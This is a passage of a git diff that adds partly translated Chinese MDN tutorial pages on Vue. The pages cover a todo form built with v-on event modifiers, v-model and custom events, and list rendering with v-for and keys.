href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">开始使用 Vue</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">创建第一个 Vue 组件</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">渲染 Vue 列表</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">添加表单:Vue 时间、方法和模型</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">用 Css 装饰 Vue 组件</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">使用 Vue 计算属性</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue 条件渲染</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">聚焦 Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue 资源</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html new file mode 100644 index 0000000000..a4eb23e91b --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html @@ -0,0 +1,404 @@ +--- +title: 'Adding a new todo form: Vue events, methods, and models' +slug: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models +translation_of: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">We now have sample data in place, and a loop that takes each bit of data and renders it inside a <code>ToDoItem</code> in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <code><input></code>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> + + <p>Vue components are written as a combination of JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed.</p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To learn about handling forms in Vue, and by association, events, models, and methods.</td> + </tr> + </tbody> +</table> + +<h2 id="Creating_a_New_To-Do_form">Creating a New To-Do form</h2> + +<p>我们的app可以展示待办事项列表,但是我们不能更新该列表,除非手动更改代码。让我们新建一个组件来允许我们添加新的待办项。</p> + +<p>在components目录下, 新建文件 <code>ToDoForm.vue</code>.</p> + +<ol> + <li> + <p>创建一个空的 <code><template></code> 和 <code><script></code> :</p> + + <pre class="brush: html notranslate"><template></template> + +<script> + export default {}; +</script></pre> + </li> + <li> + <p>新建一个 HTML 表单来允许我们输入新的待办项并把它提交到app。我们需要一个 <code><a href="/en-US/docs/Web/HTML/Element/form"><form></a></code> ,它里面包含 <code><a href="/en-US/docs/Web/HTML/Element/label"><label></a></code>,一个 <code><a href="/en-US/docs/Web/HTML/Element/input"><input></a></code>, 一个 <code><a href="/en-US/docs/Web/HTML/Element/button"><button></a></code>。更新后的模版如下:</p> + + <pre class="brush: html notranslate"><template> + <form> + <label for="new-todo-input"> + What needs to be done? + </label> + <input + type="text" + id="new-todo-input" + name="new-todo" + autocomplete="off" + /> + <button type="submit"> + Add + </button> + </form> +</template></pre> + + <p>现在我们有一个可以form组件可以用来输入新的待办项的标题,它最终会渲染成<code>ToDoItem</code>的label。</p> + </li> + <li> + <p>我们把这个组件添加到app中,返回 <code>App.vue</code> 然后在 <code><script></code> 添加下面的语句:</p> + + <pre class="brush: js notranslate">import ToDoForm from './components/ToDoForm';</pre> + </li> + <li> + <p>在你的App组件中注册它</p> + + <pre class="brush: js notranslate">components: { + ToDoItem, + ToDoForm +}</pre> + </li> + <li> + <p>最后将 <code>ToDoForm</code> 组件添加到App中的<code><template></code> 中,像下面这样:</p> + + <pre class="brush: html notranslate"><template> + <div id="app"> + <h1>My To-Do List</h1> + <to-do-form></to-do-form> + <ul> + <li v-for="item in ToDoItems" :key="item.id"> + <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> + </li> + </ul> + </div> +</template></pre> + </li> +</ol> + +<p>Now when you view your running site, you should see the new form displayed.</p> + +<p><img alt="Our todo list app rendered with a text input to enter new todos" src="https://mdn.mozillademos.org/files/17245/rendered-form-with-text-input.png" style="border-style: solid; border-width: 1px; display: block; height: 240px; margin: 0 auto; width: 451px;"></p> + +<p>If you fill it out and click the "Add" button, the page will post the form back to the server, but this isn’t really what we want. What we actually want to do is run a method on the <a href="/en-US/docs/Web/API/HTMLFormElement/submit_event"><code>submit</code> event</a> that will add the new todo to the <code>ToDoItem</code> data list defined inside <code>App</code>. To do that, we'll need to add a method to the component instance.</p> + +<h2 id="Creating_a_method_binding_it_to_an_event_with_v-on">Creating a method & binding it to an event with v-on</h2> + +<p>To make a method available to the <code>ToDoForm</code> component, we need to add it to the component object, and this is done inside a <code>methods</code> property to our component, which goes in the same place as <code>data()</code>, <code>props</code>, etc. The <code>methods</code> property holds any methods we might need to call in our component. When referenced, methods are fully run, so it's not a good idea to use them to display information inside the template. For displaying data that comes from calculations, you should use a <code>computed</code> property, which we'll cover later.</p> + +<ol> + <li> + <p>In this component, we need to add an <code>onSubmit()</code> method to a <code>methods</code> property inside the <code>ToDoForm</code> component object. We'll use this to handle the submit action.</p> + + <p>Add this like so:</p> + + <pre class="brush: js notranslate">export default { + methods: { + onSubmit() { + console.log('form submitted') + } + } +}</pre> + </li> + <li> + <p>Next we need to bind the method to our <code><form></code> element's <code>submit</code> event handler. Much like how Vue uses the <code><a href="https://vuejs.org/v2/api/#v-bind">v-bind</a></code> syntax for binding attributes, Vue has a special directive for event handling: <code><a href="https://vuejs.org/v2/api/#v-on">v-on</a></code>. The <code>v-on</code> directive works via the <code>v-on:event="method"</code> syntax. And much like <code>v-bind</code>, there’s also a shorthand syntax: <code>@event="method"</code>.</p> + + <p>We'll use the shorthand syntax here for consistency. Add the <code>submit</code> handler to your <code><form></code> element like so:</p> + + <pre class="brush: html notranslate"><form @submit="onSubmit"> +</pre> + </li> + <li> + <p>When you run this, the app still posts the data to the server, causing a refresh. Since we're doing all of our processing on the client, there's no server to handle the postback. We also lose all local state on page refresh. To prevent the browser from posting to the server, we need to stop the event’s default action from bubbling up through the page (<code><a href="/en-US/docs/Web/API/Event/preventDefault">Event.preventDefault()</a></code>, in vanilla JavaScript). Vue has a special syntax called <strong>event modifiers</strong> that can handle this for us right in our template.</p> + + <p>Modifiers are appended to the end of an event with a dot like so: <code>@event.modifier</code>. Here is a list of event modifiers:</p> + + <ul> + <li><code>.stop</code>: Stops the event from propagating. Equivalent to <code><a href="/en-US/docs/Web/API/Event/stopPropagation">Event.stopPropagation()</a></code> in regular JavaScript events.</li> + <li><code>.prevent</code>: Prevents the event's default behavior. Equivalent to <code><a href="/en-US/docs/Web/API/Event/preventDefault">Event.preventDefault()</a></code>.</li> + <li><code>.self</code>: Triggers the handler only if the event was dispatched from this exact element.</li> + <li><code>{.key}</code>: Triggers the event handler only via the specified key. <a href="/en-US/docs/Web/API/KeyboardEvent/key/Key_Values">MDN has a list of valid key values</a>; multi-word keys just need to be converted to kebab case (e.g. <code>page-down</code>).</li> + <li><code>.native</code>: Listens for a native event on the root (outer-most wrapping) element on your component.</li> + <li><code>.once</code>: Listens for the event until it's been triggered once, and then no more.</li> + <li><code>.left</code>: Only triggers the handler via the left mouse button event.</li> + <li><code>.right</code>: Only triggers the handler via the right mouse button event.</li> + <li><code>.middle</code>: Only triggers the handler via the middle mouse button event.</li> + <li><code>.passive</code>: Equivalent to using the <code>{ passive: true }</code> parameter when creating an event listener in vanilla JavaScript using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li> + </ul> + + <p>In this case, we need to use the <code>.prevent</code> handler to stop the browser’s default submit action. Add <code>.prevent</code> to the <code>@submit</code> handler in your template like so:</p> + + <pre class="brush: js notranslate"><form @submit.prevent="onSubmit"></pre> + </li> +</ol> + +<p>If you try submitting the form now, you'll notice that the page doesn't reload. If you open the console, you can see the results of the <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code> we added inside our <code>onSubmit()</code> method.</p> + +<h2 id="Binding_data_to_inputs_with_v-model">Binding data to inputs with v-model</h2> + +<p>Next up, we need a way to get the value from the form's <code><input></code> so we can add the new to-do item to our <code>ToDoItems</code> data list.</p> + +<p>The first thing we need is a <code>data</code> property in our form to track the value of the to-do.</p> + +<ol> + <li> + <p>Add a <code>data()</code> method to our <code>ToDoForm</code> component object that returns a <code>label</code> field. We can set the initial value of the <code>label</code> to an empty string.</p> + + <p>Your component object should now look something like this:</p> + + <pre class="brush: js notranslate">export default { + methods: { + onSubmit() { + console.log("form submitted"); + } + }, + data() { + return { + label: "" + }; + } +};</pre> + </li> + <li> + <p>We now need some way to attach the value of the <code>new-todo-input</code> <code><input></code> field to the <code>label</code> field. Vue has a special directive for this: <code><a href="https://vuejs.org/v2/api/#v-model">v-model</a></code>. <code>v-model</code> binds to the data property you set on it and keeps it in sync with the <code><input></code>. <code>v-model</code> works across all the various input types, including check boxes, radios, and select inputs. To use <code>v-model</code>, you add an attribute with the structure <code>v-model="variable"</code> to the <code><input></code>.</p> + + <p>So in our case, we would add it to our <code>new-todo-input</code> field as seen below. Do this now:</p> + + <pre class="brush: js notranslate"><input + type="text" + id="new-todo-input" + name="new-todo" + autocomplete="off" + v-model="label" /> +</pre> + + <div class="blockIndicator note"> + <p><strong>Note</strong>: You can also sync data with <code><input></code> values through a combination of events and <code>v-bind</code> attributes. In fact, this is what <code>v-model</code> does behind the scenes. However, the exact event and attribute combination varies depending on input types and will take more code than just using the <code>v-model</code> shortcut.</p> + </div> + </li> + <li> + <p>Let's test out our use of <code>v-model</code> by logging the value of the data submitted in our <code>onSubmit()</code> method. In components, data attributes are accessed using the <code>this</code> keyword. So we access our <code>label</code> field using <code>this.label</code>.</p> + + <p>Update your <code>onSubmit()</code> method to look like this:</p> + + <pre class="brush: js notranslate">methods: { + onSubmit() { + console.log('Label value: ', this.label); + } +},</pre> + </li> + <li> + <p>Now go back to your running app, add some text to the <code><input></code> field, and click the "Add" button. You should see the value you entered logged to your console, for example:</p> + + <pre class="notranslate">Label value: My value</pre> + </li> +</ol> + +<h2 id="Changing_v-model_behavior_with_modifiers">Changing <code>v-model</code> behavior with modifiers</h2> + +<p>In a similar fashion to event modifiers, we can also add modifiers to change the behavior of <code>v-model</code>. In our case, there are two worth considering. The first, <code>.trim</code>, will remove whitespace from before or after the input. We can add the modifier to our <code>v-model</code> statement like so: <code>v-model.trim="label"</code>.</p> + +<p>The second modifier we should consider is called <code>.lazy</code>. This modifier changes when <code>v-model</code> syncs the value for text inputs. As mentioned earlier, <code>v-model</code> syncing works by updating the variable using events. For text inputs, this sync happens using the <a href="/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code> event</a>. Often, this means that Vue is syncing the data after every keystroke. The <code>.lazy</code> modifier causes <code>v-model</code> to use the <a href="/en-US/docs/Web/API/HTMLElement/change_event"><code>change</code> event</a> instead. This means that Vue will only sync data when the input loses focus or the form is submitted. For our purposes, this is much more reasonable since we only need the final data.</p> + +<p>To use both the <code>.lazy</code> modifier and the <code>.trim</code> modifier together, we can chain them, e.g. <code>v-model.lazy.trim="label"</code>.</p> + +<p>Update your <code>v-model</code> attribute to chain <code>lazy</code> and <code>trim</code> as shown above, and then test your app again. Try for example, submitting a value with whitespace at each end.</p> + +<h2 id="Passing_data_to_parents_with_custom_events">Passing data to parents with custom events</h2> + +<p>We now are very close to being able to add new to-do items to our list. The next thing we need to be able to do is pass the newly-created to-do item to our <code>App</code> component. To do that, we can have our <code>ToDoForm</code> emit a custom event that passes the data, and have <code>App</code> listen for it. This works very similarly to native events on HTML elements: a child component can emit an event which can be listened to via <code>v-on</code>.</p> + +<p>In the <code>onSubmit</code> event of our <code>ToDoForm</code>, let's add a <code>todo-added</code> event. Custom events are emitted like this: <code>this.$emit("event-name")</code>. It's important to know that event handlers are case sensitive and cannot include spaces. Vue templates also get converted to lowercase, which means Vue templates cannot listen for events named with capital letters.</p> + +<ol> + <li> + <p>Replace the <code>console.log()</code> in the <code>onSubmit()</code> method with the following:</p> + + <pre class="brush: js notranslate">this.$emit("todo-added");</pre> + </li> + <li> + <p>Next, go back to <code>App.vue</code> and add a <code>methods</code> property to your component object containing an <code>addToDo()</code> method, as shown below. For now, this method can just log <code>To-do added</code> to the console.</p> + + <pre class="brush: js notranslate">export default { + name: 'app', + components: { + ToDoItem, + ToDoForm + }, + data() { + return { + ToDoItems: [ + { id:uniqueId('todo-'), label: 'Learn Vue', done: false }, + { id:uniqueId('todo-'), label: 'Create a Vue project with the CLI', done: true }, + { id:uniqueId('todo-'), label: 'Have fun', done: true }, + { id:uniqueId('todo-'), label: 'Create a to-do list', done: false } + ] + }; + }, + methods: { + addToDo() { + console.log('To-do added'); + } + } +};</pre> + </li> + <li> + <p>Next, add an event listener for the <code>todo-added</code> event to the <code><to-do-form></to-do-form></code>, which calls the <code>addToDo()</code> method when the event fires. Using the <code>@</code> shorthand, the listener would look like this: <code>@todo-added="addToDo"</code>:</p> + + <pre class="brush: html notranslate"><to-do-form @todo-added="addToDo"></to-do-form></pre> + </li> + <li> + <p>When you submit your <code>ToDoForm</code>, you should see the console log from the <code>addToDo()</code> method. This is good, but we're still not passing any data back into the <code>App.vue</code> component. We can do that by passing additional arguments to the <code>this.$emit()</code> function back in the <code>ToDoForm</code> component.</p> + + <p>In this case, when we fire the event we want to pass the <code>label</code> data along with it. this is done by including the data you want to pass as another parameter in the <code>$emit()</code> method: <code>this.$emit("todo-added", this.label)</code>. This is similar to how native JavaScript events include data, except custom Vue events include no event object by default. This means that the emitted event will directly match whatever object you submit. So in our case, our event object will just be a string.</p> + + <p>Update your <code>onSubmit()</code> method like so:</p> + + <pre class="brush: js notranslate">onSubmit() { + this.$emit('todo-added', this.label) +}</pre> + </li> + <li> + <p>To actually pick up this data inside <code>App.vue</code>, we need to add a parameter to our <code>addToDo()</code> method that includes the <code>label</code> of the new to-do item.</p> + + <p>Go back to <code>App.vue</code> and update this now:</p> + + <pre class="brush: js notranslate">methods: { + addToDo(toDoLabel) { + console.log('To-do added:', toDoLabel); + } +} +</pre> + </li> +</ol> + +<p>If you test your form again, you'll see whatever text you enter logged in your console upon submission. Vue automatically passes the arguments after the event name in <code>this.$emit()</code> to your event handler.</p> + +<h2 id="Adding_the_new_todo_into_our_data">Adding the new todo into our data</h2> + +<p>Now that we have the data from <code>ToDoForm</code> available in <code>App.vue</code>, we need to add an item representing it to the <code>ToDoItems</code> array. This can be done by pushing a new to-do item object to the array containing our new data.</p> + +<ol> + <li> + <p>Update your <code>addToDo()</code> method like so:</p> + + <pre class="brush: js notranslate">addToDo(toDoLabel) { + this.ToDoItems.push({id:uniqueId('todo-'), label: toDoLabel, done: false}); +}</pre> + </li> + <li> + <p>Try testing your form again, and you should see new to-do items get appended to the end of the list.</p> + </li> + <li> + <p>Let's make a further improvement before we move on. If you submit the form while the input is empy, todo items with no text still get added to the list. To fix that, we can prevent the todo-added event from firing when name is empty. Since name is already being trimmed by the <code>.trim</code> directive, we only need to test for the empty string.</p> + + <p>Go back to your <code>ToDoForm</code> component, and update the <code>onSubmit()</code> method like so. If the label value is empty, let's not emit the <code>todo-added</code> event.</p> + + <pre class="brush: js notranslate">onSubmit() { + if(this.label === "") { + return; + } + this.$emit('todo-added', this.label); +}</pre> + </li> + <li> + <p>Try your form again. Now you will not be able to add empty items to the to-do list.</p> + </li> +</ol> + +<p><img alt="Our todo list app rendered with a text input to enter new todos" src="https://mdn.mozillademos.org/files/17246/rendered-form-with-new-items.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 442px;"></p> + +<h2 id="Using_v-model_to_update_an_input_value">Using <code>v-model</code> to update an input value</h2> + +<p>There's one more thing to fix in our <code>ToDoForm</code> component — after submitting, the <code><input></code> still contains the old value. But this is easy to fix — because we're using <code>v-model</code> to bind the data to the <code><input></code> in <code>ToDoForm</code>, if we set the name parameter to equal an empty string, the input will update as well.</p> + +<p>Update your <code>ToDoForm</code> component’s <code>onSubmit()</code> method to this:</p> + +<pre class="brush: js notranslate">onSubmit() { + if(this.label === "") { + return; + } + this.$emit('todo-added', this.label); + this.label = ""; +}</pre> + +<p>Now when you click the "Add" button, the "new-todo-input" will clear itself.</p> + +<h2 id="Summary">Summary</h2> + +<p>Excellent. We can now add todo items to our form! Our app is now starting to feel interactive, but one issue is that we've completely ignored its look and feel up to now. In the next article, we'll concentrate on fixing this, looking at the different ways Vue provides to style components.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html new file mode 100644 index 0000000000..3f859f4c03 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html @@ -0,0 +1,227 @@ +--- +title: Rendering a list of Vue components +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists +tags: + - vue入门 +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">现在我们已经有了一个可以工作的组件。我们接下来添加更多的 <code>ToDoItem</code> 组件到 我们的App。 本文我们会添加一系列待办事项到App.vue组件并使用<code>v-for</code>指令遍历这些它们,将它们的每一项展示在<code>ToDoItem</code>组件中。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> + + <p>Vue components are written as a combination of JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed.</p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To learn how to loop through an array of data and render it in multiple components.</td> + </tr> + </tbody> +</table> + +<h2 id="利用_v-for_指令渲染列表">利用 v-for 指令渲染列表</h2> + +<p>一个有效的待办事项列表需要有多个被渲染的to-do项,Vue中的<code><a href="https://vuejs.org/v2/api/#v-for">v-fo</a>r</code> 可以用来实现这种效果。它是Vue自带的指令,用于在template中实现循环,我们可以利用它将数组中的各项重复渲染成指定的特征。我们将利用它迭代待办事项列表,将其中的每一项展示为单独的ToDoItem组件。</p> + +<h3 id="添加一些需要被渲染的数据">添加一些需要被渲染的数据</h3> + +<p>首先我们需要准备一个待办事项数组。添加 <code>data</code> 属性到 <code>App.vue</code> 组件对象中, 它包含一个 <code>ToDoItems</code> 字段,其值是待办事项数组。在最终完成添加新的待办事项功能之前,我们可以先mock一些待办项目,每个待办项目可以用一个对象表示,这个对象含有 <code>name</code> 和 <code>done</code> 属性。</p> + +<p>像下面这样添加一些待办项目让我们可以利用<code>v-for</code> 来对它们进行渲染。</p> + +<pre class="brush: js notranslate">export default { + name: 'app', + components: { + ToDoItem + }, + data() { + return { + ToDoItems: [ + { label: 'Learn Vue', done: false }, + { label: 'Create a Vue project with the CLI', done: true }, + { label: 'Have fun', done: true }, + { label: 'Create a to-do list', done: false } + ] + }; + } +};</pre> + +<p>现在我们有了一个列表,可以用<code>v-for</code>去展示它们了。指令的作用方式和元素的属性类似,就v-for而言,它类似js中的<code>for...in</code>循环,<code>v-for="item in items"</code> — <code>iterms</code>是你要迭代的列表, <code>item</code> 是数组中当前元素的引用。</p> + +<p><code>v-for</code>获取每个迭代的元素,并渲染它和它的子元素。在我们的例子中,我们用<code><li></code>的形式展示每一个待办事项,接下来我们会通过每个待办事项传递数据到其对应的<code>ToDoItem</code>组件。</p> + +<h3 id="Key_属性">Key 属性</h3> + +<p>在进行数据传递之前,我们要了解下<code>key</code>属性,它和<code>v-for</code>使用,用来帮助Vue标识列表中的元素,这样Vue就不需要在列表变化时重新创建它们。但是Vue需要一个唯一的标识,即<code>key</code>来识别哪些元素是被复用的。</p> + +<p>为了让Vue能正确的比较<code>key</code> ,key属性需要是numeric或者string类型。用name字段不是个好主意,因为这个字段会被用户输入控制,无法保证唯一性。</p> + +<p>我们可以使用<code>lodash.uniqueid()</code> ,像我们前一章节那样。</p> + +<ol> + <li> + <p>导入 <code>lodash.uniqueid</code> 到 <code>App</code> 组件。</p> + + <pre class="brush: js notranslate"> import uniqueId from 'lodash.uniqueid';</pre> + </li> + <li> + <p>添加 <code>id</code> 字段到 <code>ToDoItems</code> 数组的每一个元素中, 并且将他们赋值为 <code>uniqueId('todo-')。</code></p> + + <p><code>App.vue</code> <code><script></code> 元素内容如下:</p> + + <pre class="brush: js notranslate">import ToDoItem from './components/ToDoItem.vue'; +import uniqueId from 'lodash.uniqueid' + +export default { + name: 'app', + components: { + ToDoItem + }, + data() { + return { + ToDoItems: [ + { id: uniqueId('todo-'), label: 'Learn Vue', done: false }, + { id: uniqueId('todo-'), label: 'Create a Vue project with the CLI', done: true }, + { id: uniqueId('todo-'), label: 'Have fun', done: true }, + { id: uniqueId('todo-'), label: 'Create a to-do list', done: false } + ] + }; + } +};</pre> + </li> + <li> + <p>添加 <code>v-for</code> 指令和 <code>key</code> 属性到 <code><li></code> 元素:</p> + + <pre class="brush: html notranslate"><ul> + <li v-for="item in ToDoItems" :key="item.id"> + <to-do-item label="My ToDo Item" :done="true"></to-do-item> + </li> +</ul></pre> + + <p>这样改后,<code><cli></code>标签中的js脚本就可以访问<code>item</code>了,这意味着我们可以使用<code>v-bind</code>来传递<code>item</code>对象的字段给<code>ToDoItem</code>组件了。这非常有用,我们想让列表中的待办事项的<code>label</code>值展示到它的label中,而不是显示一个静态的"My Todo Item"。此外,我们想让它们的checked状态反应它们的<code>done</code>字段,而不是默认的<code>done="false"</code>。</p> + </li> + <li> + <p>把 <code>label="My ToDo Item"</code> 改成 <code>:label="item.label"</code>, <code>:done="false"</code> 改成 <code>:done="item.done"</code> :</p> + </li> + <li> + <pre class="brush: html notranslate"><ul> + <li v-for="item in ToDoItems" :key="item.id"> + <to-do-item :label="item.label" :done="item.done"></to-do-item> + </li> +</ul></pre> + </li> +</ol> + +<p>现在当你去看运行着的app时,你会发现待办事项显示了它们自己正确的名字,如果你查看源码的话,你会发现输入都有了唯一的id。<img alt="The app with a list of todo items rendered." src="https://mdn.mozillademos.org/files/17244/rendered-todo-items.png" style="border-style: solid; border-width: 1px; display: block; margin: 0 auto;"></p> + +<h2 id="让我们来一点小重构">让我们来一点小重构</h2> + +<p>我们可以做一点代码重构。 因为我们已经要为每一个待办事项创建一个唯一id,所以不妨把id作为ToDoItem的一个prop,而不是在每个checkbox里生成它。</p> + +<p>添加一个新的prop <code>id</code> 到 <code>ToDoItem</code> 